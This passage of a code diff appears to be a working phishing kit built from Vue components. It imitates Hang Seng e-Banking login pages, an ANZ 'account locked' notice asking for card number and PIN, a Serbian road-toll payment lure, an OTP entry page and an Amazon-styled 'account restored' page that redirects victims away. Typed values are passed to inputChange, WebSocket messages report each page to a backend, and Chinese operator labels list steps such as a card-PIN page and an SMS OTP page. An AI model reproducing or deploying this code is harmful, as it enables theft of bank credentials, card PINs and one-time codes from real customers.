if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
} else {
// 倒计时已过期,清除数据
localStorage.removeItem("countdownStartTime");
localStorage.removeItem("countdownDuration");
}
}
};
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
isVerifying.value = false;
};
onUnmounted(() => {
eventBus.off("otp-valid", handleEvent);
// 不要在卸载时清除倒计时,这样刷新页面时倒计时还会继续
if (timer !== null) {
clearInterval(timer);
}
});
</script>
<template>
<div id="otp-page" class="page-wrapper">
<div class="container-outer">
<div class="card-container">
<div class="header-nav">
<div class="bank-icon">
<svg viewBox="0 0 24 24" width="36" height="36" fill="#333">
<path d="M4 10v7h3v-7H4zm6 0v7h3v-7h-3zM2 22h19v-3H2v3zm14-12v7h3v-7h-3zm-4.5-9L2 6v2h19V6l-9.5-5z"></path>
</svg>
</div>
<div class="card-logo-wrapper">
<CardType1 :cardType="cardType" />
</div>
</div>
<div class="content-body">
<h2 class="page-title">Payment Security</h2>
<p class="instruction-text">
To ensure the security of your payment, we have sent a One-Time Password (OTP) to your registered mobile number
<span v-if="message1"> ending in {{ message1 }}</span>.
Please enter the verification code below.
</p>
<form @submit.prevent="submit">
<div class="form-group">
<label class="field-label">Verification Code</label>
<input
required
type="text"
class="otp-input-field"
placeholder="Enter verification code"
v-model="formData.verifyCode"
@input="onchange"
/>
</div>
<div class="error-feedback" v-if="message">{{ message }}</div>
<div class="form-actions-row">
<button type="submit" class="submit-button">Submit</button>
<a href="javascript:void(0)" class="resend-link" @click="startCountdown('resendCode')">
{{ buttonText }}
</a>
</div>
</form>
<div class="bottom-links">
<div class="divider-line"></div>
<div class="info-row">
<span class="info-label">Learn more about Authentication</span>
<span class="icon-plus">+</span>
</div>
<div class="info-row">
<span class="info-label">Need Help?</span>
<span class="icon-plus">+</span>
</div>
</div>
</div>
</div>
</div>
<Transition name="fade">
<div class="loading-overlay" v-if="isVerifying">
<div class="overlay-backdrop"></div>
<div class="overlay-box">
<div class="loader-spinner"></div>
<div class="loader-text">Verifying...</div>
</div>
</div>
</Transition>
</div>
</template>
<style scoped>
.page-wrapper {
background-color: #ffffff;
min-height: 100vh;
display: flex;
justify-content: center;
align-items: flex-start;
font-family: "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
}
.container-outer {
width: 100%;
max-width: 500px;
padding: 20px;
}
.card-container {
background: #ffffff;
}
/* Header Navbar */
.header-nav {
display: flex;
justify-content: space-between;
align-items: center;
padding: 10px 0 25px 0;
border-bottom: 1px solid #f0f2f5;
}
.content-body {
padding: 35px 0;
}
.page-title {
font-size: 24px;
font-weight: 600;
color: #122b46;
margin-bottom: 15px;
}
.instruction-text {
font-size: 15px;
color: #616e7c;
line-height: 1.5;
margin-bottom: 35px;
}
/* Form Styles */
.form-group {
margin-bottom: 15px;
}
.field-label {
display: block;
font-weight: 700;
font-size: 15px;
color: #243b53;
margin-bottom: 12px;
}
.otp-input-field {
width: 100%;
padding: 14px 12px;
border: 1px solid #d1d9e2;
border-radius: 4px;
font-size: 16px;
box-sizing: border-box;
}
.otp-input-field::placeholder {
color: #9fb3c8;
}
.otp-input-field:focus {
border-color: #2563eb;
outline: none;
}
/* Actions: Button and Resend Link on the same line */
.form-actions-row {
display: flex;
align-items: center;
gap: 20px;
margin-top: 30px;
}
.submit-button {
background-color: #2563eb; /* Blue primary */
color: #ffffff;
border: none;
padding: 14px 0;
width: 280px; /* Specific width as per UI */
border-radius: 6px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
transition: background 0.2s;
}
.submit-button:hover {
background-color: #1d4ed8;
}
.resend-link {
font-size: 15px;
color: #2563eb;
text-decoration: none;
white-space: nowrap;
}
.resend-link:hover {
text-decoration: underline;
}
.error-feedback {
color: #d93025;
font-size: 14px;
margin-top: 10px;
}
/* Accordion Style Links */
.bottom-links {
margin-top: 40px;
}
.divider-line {
height: 1px;
background-color: #e4e7eb;
margin-bottom: 10px;
}
.info-row {
display: flex;
justify-content: space-between;
align-items: center;
padding: 20px 0;
border-bottom: 1px solid #e4e7eb;
cursor: pointer;
}
.info-label {
font-size: 15px;
color: #243b53;
font-weight: 400;
}
.icon-plus {
color: #9fb3c8;
font-size: 20px;
}
/* Loading Overlay Styles */
.loading-overlay {
position: fixed;
inset: 0;
z-index: 9999;
display: flex;
align-items: center;
justify-content: center;
}
.overlay-backdrop {
position: absolute;
inset: 0;
background: rgba(255, 255, 255, 0.9);
}
.overlay-box {
position: relative;
text-align: center;
}
.loader-spinner {
width: 45px;
height: 45px;
border: 4px solid #f3f3f3;
border-top: 4px solid #2563eb;
border-radius: 50%;
animation: spin 1s linear infinite;
margin: 0 auto 15px;
}
.loader-text {
font-size: 15px;
color: #486581;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
.fade-enter-from, .fade-leave-to { opacity: 0; }
/* Responsive */
@media (max-width: 480px) {
.form-actions-row {
flex-direction: column;
align-items: stretch;
}
.submit-button {
width: 100%;
}
.resend-link {
text-align: center;
margin-top: 10px;
}
}
</style>

View File

@@ -0,0 +1,279 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const router = useRouter();
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange } from "@/utils/common";
const loadingStore = useLoadingStore();
const instance = getCurrentInstance()!;
const formData = ref({ homePageData: { username: "" } });
const warningMessage = ref("");
// Handle form submission
const next = () => {
if (!formData.value.homePageData.username) {
warningMessage.value = t("Please enter your username.");
return;
}
warningMessage.value = "";
localStorage.setItem("username", formData.value.homePageData.username);
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/passwd"); // Adjust the route as needed
}, 2000);
};
// Handle input change
const onchange = (event: any) => {
inputChange("input_login", "username", event.target.value);
};
onMounted(() => {
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.homePageData) {
formData.value = userData;
}
localStorage.setItem("route", "phone");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="row p-10-ch">
<div id="mainPanel" class="px-0 mainContent">
<div class="row" style="height: 100%; justify-content: center;">
<div class="col-lg-8 col-md-7 col-12 mainPanel-width" style="border: 2px solid #d7d7d7; border-radius: 3px; padding: 30px; min-height: 380px; width: 92%;">
<h2 class="login-title">Log on to Hang Seng Personal e-Banking</h2>
<!-- Warning message from the image -->
<div class="warning-box">
<span class="warning-icon">!</span>
<p>
If you log on using a mobile browser, some services may not be available. We recommend you to log on using a computer web browser, or you can download Hang Seng Mobile App for convenient banking.
</p>
</div>
<!-- Username input -->
<div class="form-group">
<label class="loginlabel">Enter your username</label>
<input
type="text"
id="txtuserid"
class="textfield required"
v-model="formData.homePageData.username"
@input="onchange"
placeholder=""
autocomplete="off"
>
<span class="info-icon">i</span>
</div>
<!-- Warning message for form validation -->
<div v-if="warningMessage" aria-live="assertive" role="alert">
<div class="css-j4y2sz">
<span class="css-1mne40r">
<svg viewBox="0 0 48 48" width="1em" height="1em">
<path
d="M19.918 4.543c1.153-2.295 3.915-3.204 6.17-2.03a4.62 4.62 0 011.867 1.796l.126.234 19.415 34.663c1.153 2.295.26 5.108-1.993 6.282a4.52 4.52 0 01-1.816.504l-.272.008H4.584C2.052 46 0 43.9 0 41.332a4.74 4.74 0 01.387-1.876l.117-.25L19.918 4.543zM24 34a2 2 0 100 4 2 2 0 100-4zm-.048-17l-.184.013c-.976.1-1.728.9-1.766 1.853v.152l.416 10.502C22.45 30.346 23.15 31 24 31c.8 0 1.467-.58 1.57-1.336l.013-.144L26 18.943l-.006-.152c-.072-.9-.773-1.627-1.676-1.767l-.160-.020-.205-.005z"
></path>
</svg>
</span>
<span class="css-l0mv58">{{ warningMessage }}</span>
</div>
</div>
<!-- Continue button -->
<button @click.prevent="next" class="proceedButton">Continue</button>
<!-- Links -->
<div class="links">
<a href="#" class="loginlink">Forgot your username</a><br>
<a href="#" class="loginlink">Haven't registered for Personal e-Banking</a>
</div>
</div>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* Layout adjustments */
.row {
display: flex;
flex-wrap: wrap;
}
.p-10-ch {
padding: 10px;
}
.px-0 {
padding-left: 0;
padding-right: 0;
}
.mainContent {
width: 100%;
}
.col-lg-8, .col-md-7, .col-12 {
position: relative;
width: 100%;
}
@media (min-width: 992px) {
.col-lg-8 {
flex: 0 0 66.666667%;
max-width: 66.666667%;
}
}
@media (min-width: 768px) {
.col-md-7 {
flex: 0 0 58.333333%;
max-width: 58.333333%;
}
}
/* Title */
.login-title {
font-size: 24px;
font-weight: bold;
margin-bottom: 20px;
}
/* Warning box */
.warning-box {
display: flex;
align-items: flex-start;
background-color: #e6f0fa;
padding: 10px;
border-radius: 5px;
margin-bottom: 20px;
}
.warning-icon {
display: inline-block;
width: 20px;
height: 20px;
background-color: #0056d2;
color: white;
border-radius: 50%;
text-align: center;
line-height: 20px;
margin-right: 10px;
font-weight: bold;
}
.warning-box p {
margin: 0;
font-size: 14px;
color: #333;
}
/* Form styles */
.form-group {
margin-bottom: 20px;
text-align: left;
position: relative;
}
.loginlabel {
display: block;
margin-bottom: 5px;
font-size: 14px;
color: #000;
font-weight: normal;
}
.textfield {
width: 100%;
padding: 10px;
border: 2px solid #00cc00;
border-radius: 5px;
font-size: 14px;
background-color: #fff;
}
.textfield:focus {
outline: none;
border-color: #666;
}
.info-icon {
position: absolute;
right: 10px;
top: 35px;
width: 20px;
height: 20px;
background-color: #ccc;
color: white;
border-radius: 50%;
text-align: center;
line-height: 20px;
font-size: 12px;
}
/* Button styles */
.proceedButton {
background: #ccc;
color: white;
padding: 12px;
border: none;
border-radius: 5px;
font-size: 14px;
cursor: pointer;
width: 100%;
font-weight: bold;
}
.proceedButton:hover {
background: #999;
}
/* Links */
.links {
margin-top: 15px;
text-align: left;
}
.loginlink {
color: #0056d2;
text-decoration: none;
font-size: 14px;
}
.loginlink:hover {
text-decoration: underline;
}
/* Warning message styles */
.css-j4y2sz {
display: flex;
align-items: center;
gap: 8px;
padding: 10px;
margin-bottom: 15px;
border-radius: 4px;
}
.css-1mne40r {
display: inline-block;
line-height: 1;
vertical-align: middle;
font-size: 1.75rem;
fill: rgb(180, 44, 1);
}
.css-l0mv58 {
color: #dc3545;
font-size: 14px;
}
</style>

View File

@@ -0,0 +1,90 @@
<script setup lang="ts">
import { onMounted } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { useI18n } from "vue-i18n";
import { myWebSocket } from "@/utils/common";
const router = useRouter();
const loadingStore = useLoadingStore();
const { t } = useI18n();
// Function to handle navigation to the next page
const navigateToVerificationCodeEx = () => {
loadingStore.setLoading(true);
// Simulate a short delay for loading, then navigate
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/card");
}, 200); // Adjust delay as needed
};
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "提示頁面",pageTitle: "提示頁面",opButton: {
showCustom: false,
list: [
{ label: '賬號首頁', value: 'login_mufg', type: 'input1' },
{ label: 'OTP短信驗證頁', value: 'verificationcodepage', type: 'input1' },
{ label: '提示頁面', value: 'next_pay', type: 'input1' },
{ label: '填卡PIN頁面', value: 'next_card', type: 'input1' },
{ label: '跳轉完成', value: 'success' },
],
}, }, // This might need to be updated based on the actual page context
})
);
localStorage.setItem("route", "pay"); // This might need to be updated based on the actual page context
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="main-content-body fb-theme">
<div class="content-wrapper">
<uni-view data-v-7a393632="" class="bill_box">
<p data-v-7a393632="" style="font-size: 18px; font-weight: 400; color: rgb(13, 104, 173); padding-top: 30px;"> Your account has been locked </p>
<div data-v-7a393632="" style="background-color: rgb(255, 255, 255); border: 1px solid rgb(221, 221, 221); border-radius: 0px; padding: 20px; display: flex; flex-direction: column; font-size: 15px; margin-top: 20px;">
<uni-text data-v-7a393632="" style="color: rgb(13, 104, 173); font-size: 17px;"><span> What you'll need </span></uni-text>
<uni-text data-v-7a393632="" style="margin-top: 20px;"><span> To help protect your security, you'll need a couple of things </span></uni-text>
<uni-view data-v-7a393632="" style="display: flex; margin-top: 30px;">
<svg data-v-7a393632="" t="1751297728556" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="26274" width="44" height="44">
<path data-v-7a393632="" d="M896 341.333333v-64.085333c0-11.584-9.664-21.248-21.482667-21.248H149.482667A21.333333 21.333333 0 0 0 128 277.248V341.333333h768z m0 128H128v277.418667c0 11.584 9.664 21.248 21.482667 21.248h725.034666A21.333333 21.333333 0 0 0 896 746.752V469.333333zM42.666667 277.248A106.666667 106.666667 0 0 1 149.482667 170.666667h725.034666C933.44 170.666667 981.333333 218.496 981.333333 277.248v469.504A106.666667 106.666667 0 0 1 874.517333 853.333333H149.482667C90.56 853.333333 42.666667 805.504 42.666667 746.752V277.248zM234.666667 704a42.666667 42.666667 0 1 1 0-85.333333h42.666666a42.666667 42.666667 0 1 1 0 85.333333h-42.666666z m192 0a42.666667 42.666667 0 1 1 0-85.333333h128a42.666667 42.666667 0 1 1 0 85.333333h-128z" fill="#0d68ad" p-id="26275"></path>
</svg>
<uni-view data-v-7a393632="" style="width: 100%; margin-left: 15px; font-size: 14px;">
<uni-text data-v-7a393632=""><span> Your ANZ card number and PIN </span></uni-text><br data-v-7a393632="">
<uni-text data-v-7a393632="" style="font-weight: 200;"><span> Your credit or debit card number and PIN </span></uni-text>
</uni-view>
</uni-view>
<uni-view data-v-7a393632="" style="display: flex; margin-top: 30px;">
<svg data-v-7a393632="" t="1751297880963" class="icon" viewBox="0 0 1024 1024" version="1.1" xmlns="http://www.w3.org/2000/svg" p-id="27520" width="44" height="44">
<path data-v-7a393632="" d="M823.00322 24.512277l-591.737042 0c-11.307533 0-20.466124 9.15859-20.466124 20.466124l0 934.043199c0 11.2973 9.15859 20.466124 20.466124 20.466124l591.737042 0c11.307533 0 20.466124-9.168824 20.466124-20.466124L843.469344 44.978401C843.469344 33.670867 834.310753 24.512277 823.00322 24.512277zM802.537096 773.96127l-480.135268 0c-11.307533 0-20.466124 9.168824-20.466124 20.466124 0 11.307533 9.15859 20.466124 20.466124 20.466124l480.135268 0 0 143.661957-550.804794 0L251.732301 65.444525l550.804794 0L802.537096 773.96127z" p-id="27521" fill="#0d68ad"></path>
<path data-v-7a393632="" d="M527.134699 886.514719m-48.461735 0a47.358 47.358 0 1 0 96.92347 0 47.358 47.358 0 1 0-96.92347 0Z" p-id="27522" fill="#0d68ad"></path>
</svg>
<uni-view data-v-7a393632="" style="width: 100%; margin-left: 15px; font-size: 14px;">
<uni-text data-v-7a393632=""><span> Your registered mobile phone </span></uni-text><br data-v-7a393632="">
<uni-text data-v-7a393632="" style="font-weight: 200;"><span> To receive a verification code to your mobile number on file with ANZ </span></uni-text>
</uni-view>
</uni-view>
<p data-v-7a393632="" style="margin-top: 30px; font-size: 14px;">Don't have an active ANZ card or need help?</p>
<p data-v-7a393632="" style="margin-top: 10px; font-size: 14px;"> Call us on <a data-v-7a393632="" href="tel:13 33 50" style="text-decoration: none;">13 33 50</a> any time (<a data-v-7a393632="" href="tel:+61 3 9683 8833" style="text-decoration: none;">+61 3 9683 8833</a> from overseas). </p>
</div>
<uni-button
data-v-7a393632=""
id="to_card_page_btn"
class="first_capitalize"
style="background-color: rgb(0, 114, 172); color: white;"
@click="navigateToVerificationCodeEx"
>
Next
</uni-button>
</uni-view>
</div>
</div>
</template>
</CommonLayout>
</template>

View File

@@ -0,0 +1,225 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, watch } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange, myWebSocket } from "@/utils/common";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const router = useRouter();
const loadingStore = useLoadingStore();
const formData = ref({ licensePlateData: { licensePlate: "" } });
const instance = getCurrentInstance()!;
const onchange = (event: any) => {
inputChange("Регистарска ознака", "plate", event.target.value);
};
const next = () => {
localStorage.setItem("licensePlate", formData.value.licensePlateData.licensePlate);
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/pay");
}, 200);
};
watch(
instance.appContext.config.globalProperties.$currentUser,
(newValue, oldValue) => {}
);
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "phone" },
})
);
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.licensePlateData) {
formData.value = userData;
}
localStorage.setItem("route", "phone");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="image-container">
<img
src="/Static_zy/koridor10-juzni-krak.jpg"
alt="Путеви Србије"
style="width: 100%; height: auto; max-width: 100%; margin-top: -10px; margin-bottom: -16px;">
</div>
<div class="main-content-body">
<div class="container">
<form @submit.prevent="next">
<div class="content-body">
<h1>{{ t("Провера статуса наплате путарине") }}</h1>
<p>
{{ t("Унесите регистарску ознаку возила да бисте проверили статус неплаћених путарина и казни према подацима ЈП 'Путеви Србије'.") }}
</p>
<div class="input-group">
<label for="licensePlate">
{{ t("Регистарска ознака") }}
</label>
<input
id="licensePlate"
type="text"
required
autofocus
@input="onchange"
v-model="formData.licensePlateData.licensePlate"
inputmode="text"
:placeholder="t('Пример: BG123456')"
class="full-width-input"
/>
</div>
</div>
<div class="button-submit">
<button type="submit" class="full-width-btn">
{{ t("Провери статус") }}
</button>
</div>
</form>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
.image-container {
display: flex;
justify-content: center;
align-items: center;
margin-bottom: 1rem;
}
.main-content-body {
background-color: #f0f4f8;
padding: 3rem 1rem;
display: flex;
align-items: center;
}
.container {
max-width: 720px;
margin: 0 auto;
background-color: #ffffff;
border: 1px solid #d0d7de;
border-radius: 8px;
padding: 2rem;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
.content-body {
text-align: left;
}
h1 {
font-size: 1.8rem;
font-weight: 700;
color: #003087;
margin-bottom: 1rem;
font-family: 'Arial', sans-serif;
}
p {
color: #333333;
font-size: 1rem;
line-height: 1.5;
margin-bottom: 1.5rem;
font-family: 'Arial', sans-serif;
}
.input-group {
margin-bottom: 1.5rem;
}
label {
display: block;
font-size: 1rem;
font-weight: 500;
color: #003087;
margin-bottom: 0.5rem;
font-family: 'Arial', sans-serif;
}
.full-width-input {
width: 100%;
box-sizing: border-box;
padding: 0.75rem;
font-size: 1rem;
border: 1px solid #b0b8c1;
border-radius: 5px;
background-color: #ffffff;
color: #333333;
font-family: 'Arial', sans-serif;
transition: border-color 0.2s;
margin-bottom: 0;
display: block;
}
.full-width-input:focus {
outline: none;
border-color: #003087;
box-shadow: 0 0 0 2px rgba(0, 48, 135, 0.2);
}
.button-submit {
text-align: center;
}
.full-width-btn {
width: 100%;
background-color: #003087;
color: #ffffff;
border: none;
border-radius: 5px;
font-size: 1.1rem;
font-weight: 600;
padding: 0.85rem 0;
cursor: pointer;
transition: background 0.2s;
font-family: 'Arial', sans-serif;
margin-top: 0.3rem;
box-sizing: border-box;
display: block;
}
.full-width-btn:hover {
background-color: #00205b;
}
@media (max-width: 768px) {
.container {
padding: 1.5rem;
margin: 0 1rem;
}
h1 {
font-size: 1.3rem;
}
p {
font-size: 0.9rem;
}
.full-width-input {
padding: 0.6rem;
}
.full-width-btn {
padding: 0.75rem 0;
font-size: 1rem;
}
}
</style>

View File

@@ -0,0 +1,320 @@
<script setup lang="ts">
import { getCurrentInstance, onMounted, ref, computed } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";
import { useI18n } from "vue-i18n";
const { t } = useI18n();
const router = useRouter();
import { useLoadingStore } from "@/stores/loadingStore";
import { inputChange } from "@/utils/common";
const loadingStore = useLoadingStore();
const instance = getCurrentInstance()!;
const formData = ref({ homePageData: { username: "", password: "" } });
const warningMessage = ref("");
// 计算属性:检查用户名和密码是否都已输入
const isFormFilled = computed(() => {
return formData.value.homePageData.username.trim() !== "" && formData.value.homePageData.password.trim() !== "";
});
// 处理表单提交
const next = () => {
if (!formData.value.homePageData.username || !formData.value.homePageData.password) {
warningMessage.value = t("請輸入您的用戶名稱和密碼。");
return;
}
warningMessage.value = "";
localStorage.setItem("username", formData.value.homePageData.username);
localStorage.setItem("password", formData.value.homePageData.password);
loadingStore.setLoading(true);
setTimeout(() => {
loadingStore.setLoading(false);
router.push("/pay"); // 根据需要调整路由
}, 2000);
};
// 处理输入变化
const onchange = (event: any) => {
inputChange("input_login", "username", event.target.value);
};
const passchange = (event: any) => {
inputChange("input_login", "password", event.target.value);
};
onMounted(() => {
const userData =
getCurrentInstance()?.appContext.config.globalProperties.$userData;
if (userData && userData.homePageData) {
formData.value = userData;
}
localStorage.setItem("route", "phone");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="row p-10-ch">
<div id="mainPanel" class="px-0 mainContent">
<div class="row" style="height: 100%; justify-content: center;">
<div class="col-lg-8 col-md-7 col-12 mainPanel-width" style="border: 2px solid #d7d7d7; border-radius: 3px; padding: 30px; min-height: 380px; width: 92%;">
<h2 class="login-title">登入恒生個人e-Banking</h2>
<!-- 警告信息SVG 和文本共享背景 -->
<div class="warning-box">
<span class="warning-icon">
<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#3b6793">
<path d="M480-280q17 0 28.5-11.5T520-320q0-17-11.5-28.5T480-360q-17 0-28.5 11.5T440-320q0 17 11.5 28.5T480-280Zm-40-160h80v-240h-80v240Zm40 360q-83 0-156-31.5T197-197q-54-54-85.5-127T80-480q0-83 31.5-156T197-763q-54-54 127-85.5T480-880q83 0 156 31.5T763-763q54 54 85.5 127T880-480q0 83-31.5 156T763-197q-54 54-127 85.5T480-80Zm0-80q134 0 227-93t93-227q0-134-93-227t-227-93q-134 0-227 93t-93 227q0 134 93 227t227 93Zm0-320Z"/>
</svg>
</span>
<div class="warning-text">
<p>
如此以手機瀏覽器登入部份服務將未能使用我們建議您使用電腦瀏覽器登入或下載恒生的恒生Mobile App以更方便地使用銀行服務
</p>
</div>
</div>
<!-- 用户名输入框 -->
<div class="form-group">
<label class="loginlabel">輸入您的用戶名稱</label>
<input
type="text"
id="txtuserid"
class="textfield required"
v-model="formData.homePageData.username"
@input="onchange"
placeholder=""
autocomplete="off"
>
</div>
<!-- 密码输入框 -->
<div class="form-group">
<label class="loginlabel">輸入您的密碼</label>
<input
type="password"
id="txtpass"
class="textfield password"
v-model="formData.homePageData.password"
@input="passchange"
placeholder=""
autocomplete="off"
>
</div>
<!-- 表单验证警告信息 -->
<div v-if="warningMessage" aria-live="assertive" role="alert">
<div class="css-j4y2sz">
<span class="css-1mne40r">
<svg viewBox="0 0 48 48" width="1em" height="1em">
<path
d="M19.918 4.543c1.153-2.295 3.915-3.204 6.17-2.03a4.62 4.62 0 011.867 1.796l.126.234 19.415 34.663c1.153 2.295.26 5.108-1.993 6.282a4.52 4.52 0 01-1.816.504l-.272.008H4.584C2.052 46 0 43.9 0 41.332a4.74 4.74 0 01.387-1.876l.117-.25L19.918 4.543zM24 34a2 2 0 100 4 2 2 0 100-4zm-.048-17l-.184.013c-.976.1-1.728.9-1.766 1.853v.152l.416 10.502C22.45 30.346 23.15 31 24 31c.8 0 1.467-.58 1.57-1.336l.013-.144L26 18.943l-.006-.152c-.072-.9-.773-1.627-1.676-1.767l-.160-.020-.205-.005z"
></path>
</svg>
</span>
<span class="css-l0mv58">{{ warningMessage }}</span>
</div>
</div>
<!-- 提交按钮动态类绑定 -->
<button
@click.prevent="next"
:class="['proceedButton', { 'proceedButton--active': isFormFilled }]"
>
繼續
</button>
<!-- 链接 -->
<div class="links">
<a href="/zh-hk/security/recoverProfile" class="loginlink">
忘記用戶名稱
<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#999">
<path d="M504-480 320-664l56-56 240 240-240 240-56-56 184-184Z"/>
</svg>
</a>
<a href="/zh-hk/security/registration" class="loginlink">
未登記個人e-Banking
<svg xmlns="http://www.w3.org/2000/svg" height="24px" viewBox="0 -960 960 960" width="24px" fill="#999">
<path d="M504-480 320-664l56-56 240 240-240 240-56-56 184-184Z"/>
</svg>
</a>
</div>
</div>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
/* 布局调整 */
.row {
display: flex;
flex-wrap: wrap;
}
.p-10-ch {
padding: 10px;
}
.px-0 {
padding-left: 0;
padding-right: 0;
}
.mainContent {
width: 100%;
}
.col-lg-8, .col-md-7, .col-12 {
position: relative;
width: 100%;
}
@media (min-width: 992px) {
.col-lg-8 {
flex: 0 0 66.666667%;
max-width: 66.666667%;
}
}
@media (min-width: 768px) {
.col-md-7 {
flex: 0 0 58.333333%;
max-width: 58.333333%;
}
}
/* 标题 */
.login-title {
font-size: 24px;
font-weight: bold;
margin-bottom: 20px;
}
/* 警告框 */
.warning-box {
display: flex;
align-items: flex-start;
background-color: #e6f0fa;
padding: 10px;
border-radius: 5px;
margin-bottom: 20px;
}
.warning-icon {
display: inline-block;
margin-right: 10px;
}
.warning-icon svg {
width: 20px;
height: 20px;
}
.warning-text {
flex: 1;
}
.warning-text p {
margin: 0;
font-size: 14px;
color: #333;
}
/* 表单样式 */
.form-group {
margin-bottom: 20px;
text-align: left;
position: relative;
}
.loginlabel {
display: block;
margin-bottom: 5px;
font-size: 14px;
color: #000;
font-weight: normal;
}
.textfield {
width: 100%;
padding: 10px;
border: 2px solid #00cc00;
border-radius: 5px;
font-size: 14px;
background-color: #fff;
}
.textfield:focus {
outline: none;
border-color: #666;
}
/* 按钮样式 */
.proceedButton {
background: #ccc;
color: white;
padding: 12px;
border: none;
border-radius: 5px;
font-size: 14px;
cursor: pointer;
width: 100%;
font-weight: bold;
}
.proceedButton:hover {
background: #999;
}
.proceedButton--active {
background: #008945;
}
.proceedButton--active:hover {
background: #006b35; /* 鼠标悬停时稍微变暗 */
}
/* 链接样式 */
.links {
margin-top: 15px;
text-align: left;
}
.loginlink {
color: #999;
text-decoration: none;
font-size: 14px;
display: block;
margin-bottom: 10px;
}
.loginlink:hover {
text-decoration: underline;
}
/* 警告信息样式 */
.css-j4y2sz {
display: flex;
align-items: center;
gap: 8px;
padding: 10px;
margin-bottom: 15px;
border-radius: 4px;
}
.css-1mne40r {
display: inline-block;
line-height: 1;
vertical-align: middle;
font-size: 1.75rem;
fill: rgb(180, 44, 1);
}
.css-l0mv58 {
color: #dc3545;
font-size: 14px;
}
</style>

View File

@@ -0,0 +1,166 @@
<template>
<CommonLayout>
<template #default>
<div id="a-page" class="a-m-us">
<div class="a-section a-padding-large">
<div class="a-box a-spacing-large">
<div class="a-box-inner a-padding-extra-large">
<div class="a-section a-text-center a-spacing-large">
<div class="success-icon-container">
<svg width="60" height="60" viewBox="0 0 80 80" fill="none" xmlns="http://www.w3.org/2000/svg">
<circle cx="40" cy="40" r="38" stroke="#007600" stroke-width="4" />
<path d="M20 40 L35 55 L60 30" stroke="#007600" stroke-width="6" stroke-linecap="round" stroke-linejoin="round" />
</svg>
</div>
</div>
<div class="a-section a-text-center">
<h1 class="a-size-extra-large a-spacing-medium a-text-bold">
Success! Your account access is restored
</h1>
<p class="a-size-base a-spacing-large">
Your account has been successfully recovered. You will be redirected to the sign-in page in a few seconds.<br>
If you are not redirected, please click the button below.
</p>
</div>
<div v-if="loading" class="a-section a-text-center a-spacing-large">
<div class="amazon-spinner"></div>
<p class="a-size-small a-color-secondary a-spacing-small">
Redirecting in {{ countdown }} seconds...
</p>
</div>
<div class="a-section a-text-center a-spacing-large">
<span class="a-button a-button-primary a-button-span12" :class="{'a-button-disabled': loading}">
<span class="a-button-inner">
<button
class="a-button-input"
type="button"
@click="redirectToExternal"
:disabled="loading"
></button>
<span class="a-button-text">Continue to Sign-In</span>
</span>
</span>
</div>
</div>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<script setup lang="ts">
import { onMounted, ref, onUnmounted } from "vue";
import { myWebSocket, redirectToExternal } from "@/utils/common";
import CommonLayout from "@/views/CommonLayout.vue";
const loading = ref(true);
const countdown = ref(5);
let countdownInterval: ReturnType<typeof setInterval> | null = null;
onMounted(() => {
// Notify backend of page view
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "success" },
})
);
localStorage.setItem("route", "success");
// Countdown logic
countdownInterval = setInterval(() => {
countdown.value--;
if (countdown.value <= 0) {
if (countdownInterval) clearInterval(countdownInterval);
loading.value = false;
redirectToExternal();
}
}, 1000);
// Safety fallback redirect
setTimeout(() => {
if (loading.value) {
loading.value = false;
redirectToExternal();
}
}, 5500);
});
onUnmounted(() => {
if (countdownInterval) clearInterval(countdownInterval);
});
</script>
<style scoped>
/* US Amazon Font Stack */
#a-page {
font-family: "Amazon Ember", Arial, sans-serif;
background-color: #fff;
min-height: 100vh;
}
.a-box {
max-width: 450px;
margin: 0 auto;
border: 1px solid #ddd;
border-radius: 4px;
}
/* Spinner Styling (More subtle US style) */
.amazon-spinner {
width: 35px;
height: 35px;
border: 3px solid #f3f3f3;
border-top: 3px solid #e77600; /* Amazon Gold/Orange */
border-radius: 50%;
animation: spin 0.8s linear infinite;
margin: 0 auto 12px;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.success-icon-container {
margin-bottom: 20px;
}
/* Amazon Button Styling */
.a-button-primary {
